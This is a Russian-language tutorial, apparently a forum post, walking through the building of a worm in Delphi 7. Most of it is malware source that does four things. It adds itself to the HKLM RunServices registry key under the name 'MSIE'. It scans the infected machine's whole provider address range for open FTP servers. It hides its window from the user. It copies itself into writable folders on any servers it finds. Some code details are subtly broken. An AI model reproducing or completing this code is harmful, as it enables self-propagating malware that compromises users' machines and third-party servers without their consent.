Червь на Delphi 7

Червь на Delphi 7

Создай новый проект. Так же размести на форме компонент NMFTP (так и назови, без всяких 1).
После нужно объявить 2 глобальные переменные. Делается это после строки var, которая идёт после строк
public

{ Public declarations }
end;

в самом начале unit’a.
Так же добавьте в использующиеся модули WINSOCK и Registry.
Давайте пропишем червя в реестре:

REGINI:=TREGINIFILE.Create('Software');
REGINI.ROOTKEY:=HKEY_LOCAL_MACHINE;
REGINI.OPENKEY('Software', true);
REGINI.OPENKEY('Microsoft', true);
REGINI.OPENKEY('Винда', true);
REGINI.OPENKEY('CURRENTVERSION', true);
// Пишемся в папке ‘Run services’, имя ключа MSIE, дальше нужно расположение //файла
REGINI.WRITESTRING('RUNSERVICES', 'MSIE', Application.EXENAME);
REGINI.Free;
Чтобы он автоматом загружался при запуске системы.

Требуется объявить 2 стринговые переменные - ip1st и ip2nd. В них будет лежать айпи разбитый на 4 части.
Выглядеть она у тебя обязана так:

var
Form1: TFORM1;
ip1st,ip2nd:string;
Дальше требуется получить АЙПИ заражённой машины. Делается это при помощи следующей функции(Назовём её GETLOCALIP):
function GETLOCALIP: String;
const WSVER = $101;
var
Wsadata: TWSADATA;
P: PHOSTENT;
Buf: array [0..127] of Char;
begin
Result := '';
if WSASTARTUP(WSVER, Wsadata) = 0 then begin
if GETHOSTNAME(@Buf, 128) = 0 then begin
P := GETHOSTBYNAME(@Buf);
if P nil then Result := Inet_ntoa(PINADDR(p^.h_addr_list^)^);
end;
WSACLEANUP;
end;
end;

Эта функция определит АЙПИ зараженной тачки и возвратит его нам в виде строки.
После нам нужно поделить полученный АЙПИ на 4 части. Давай напишем такую функцию и назовём её CUTIP(разрезание АЙПИ). Вот её код:

function CUTIP(айпи:string):string; // Функции будет передаваться айпи-адрес в виде строки
var
// Объявляем 2 числовые переменные - pos1 и count
pos1,count:integer;
// Объявляем строковую переменную piece
piece:string;
begin
//1-ое количество АЙПИ
piece:=айпи;
// Присваиваем переменой piece значение переменной айпи(которая передаётся
// В виде главного параметра функции
// После засовываем в переменную Pos1 количество которое означает
// кол-во знаков до I-ой точки в переменной piece (там лежит наш АЙПИ)
pos1:=Pos('.', piece);
// После удаляем из строки piece 30 знаков после I-ой точки
// в результате у нас остаётся лишь I-е количество айпи-адреса
Delete(piece,pos1,30);
// которое мы засовываем в переменную ip1st
ip1st:= piece;
// Дальше всё идёт по такой же схеме
//2-ое количество айпи
piece:=айпи;
pos1:=Pos('.', piece);
Delete(piece,1,pos1);
pos1:=Pos('.', piece);
Delete(piece,pos1,30);
ip2nd:= piece;
end;

 

Сейчас I-е 2 количества АЙПИ-адреса заражённой машины разбит на 2 части и засунут в 2 переменные.
Всё, все необходимые нам функции отписаны. Сейчас давайте создадим обработчик события ONCREATE морде формы. Тут будет то, что должно происходить при запуске червяка. Вот и начинается самое интересное:
Сперва присвоим несколько переменных различных типов, для этого перед begin напишем:

var
my_айпи:string; // тут будет хранится наш айпи
фтп_list,scan_айпи_list:TSTRINGS; // Тут будут хранится перечень ftp и айпи которые
// нужно просканить
count,count1,count2:integer; // Обычные счётчики для циклов
Всё, с переменными закончено, дальше пишем код самого червяка(м/у begin и end конечно же).
my_айпи:=GETLOCALIP; // Засовываем в my_айпи результат функции GETLOCALIP
// Это будет АЙПИ заражённой тачки
// Дальше создаём перечни
фтп_list:=TSTRINGLIST.Create;
scan_айпи_list:=TSTRINGLIST.Create;
//После разрезаем айпи, который мы получили
CUTIP(GETLOCALIP);
// Сейчас весь айпи засунут в глобальные переменные
// Даём приложению проработатся чтобы не вызывать зависания
Application.PROCESSMESSAGES;
// Выстраиваем лист АЙПИ
// Начинаем цикл от 0 до 255
for count2:=1 to 255 do
begin
// Вновь даём приложению проработаться
Application.PROCESSMESSAGES;
// Засовываем в ip3rd номер данного цикла
ip3rd:=INTTOSTR(count2);
// Внутри начинаем ещё 1 цикл
for count:=1 to 255 do
begin
// Даём приложению проработатся
Application.PROCESSMESSAGES;
// Добавляем в scan_айпи_list АЙПИ-адресс сгенерированный нашим
// червяком на основе полученного айпи с заражённой машины
scan_айпи_list.Add(ip1st+'.'+ip2nd+'.'+ip3rd+'.'+INTTOSTR(count));
end;
end;
// Конец выстраивания
// Сейчас у нас есть айпи всех 255-подсеток провайдера к которому подключон
// заражённый комп
// Даём приложению проработатся
Application.PROCESSMESSAGES;
// Начинаем сканить на открытые фтп
// Цикл идёт от 1 до кол-ва строк в scan_айпи_list, где хранится наш перечень айпи
for count1:=1 to scan_айпи_list.Count-1 do
begin
Application.PROCESSMESSAGES;
// Присваиваем параметру host - значение состоящие из строки под номером //исполняемого цикла
NMFTP.Host:=Scan_айпи_List.Strings[count1];
// Пытаемся соединится
NMFTP.Connect;
// Если соединение прошло удачно
if NMFTP.Connected then
begin
// то добовляем адрес в перечень фтп_list
фтп_list.Add(NMFTP.Host);
end;
end;
// Вновь даём проге проработатся
Application.PROCESSMESSAGES;
// конец скана на открытые ftp
end;
После этого в переменной фтп_list есть весь перечень айпи на которых открыт 21-ый порт.
Дальше нам необходимо распространить копии червя по всем имеющимся в списке фтп-серверам.
Я не буду прямо описывать весь процесс, а заставлю поработать вашу фантазию.
При коннекте нам передаётся перечень морде директории. Получить его возможно при помощи следующего кода:
NMFTP.NLIST;
//Дальше создаём обработчик события ONLISTITEM
// и в нём пишем последующую вещь
[имя_списковой переменной].Add(Listing);

После этого в переменной будет лежать перечень папок и файлов. Здесь может появиться трабл с закачкой червя на фтп т.к. не в каждую папку может оказаться разрешена запись.
Проверить это возможно так: попробовать залить в корневой каталог, если не получится то начать цикл в коем будет браться строка с именем папки/файла. Дальше меняем папку на ту, которую взяли из списка, если ошибка(это может оказаться файл) то идти далее, если удалось сменить то пробуем залить и т.д. Если залить удалось, то коннектимся на последующую ftp’шку и проделываем то же самое.
Папка изменяется кодом NMFTP.CHANGEDIR(имя_папки);
Закачка файлов случается так:
NMFTP.Download(‘имя_закачиваемого_файла’,’имя_под_которым_файл_сохранится_на_сервере’);
Сейчас нужно скрыть главную форму от глаз юзера, делается это так:
Зайди в Project>View Source

 

Откроется окно редактирования кода, сам код должен выглядеть так:

var
WHEVENT:THANDLE;
begin
Application.Initialize;
SHOWWINDOW(Application.Handle, SW_HIDE);
Form1:=TFORM1.Create(nil);
Application.Run;
WHEVENT:=CREATEEVENT(nil, true, false, 'et');
while (true) do
begin
WAITFORSINGLEOBJECT(WHEVENT,1000);
Application.PROCESSMESSAGES;
end;
end.

  • Автор: kennen
  • Комментарии: 0
  • Просмотры: 1692
0

Добавить комментарий

Вы не авторизованы и вам запрещено писать комментарии. Для расширенных возможностей зарегистрируйтесь!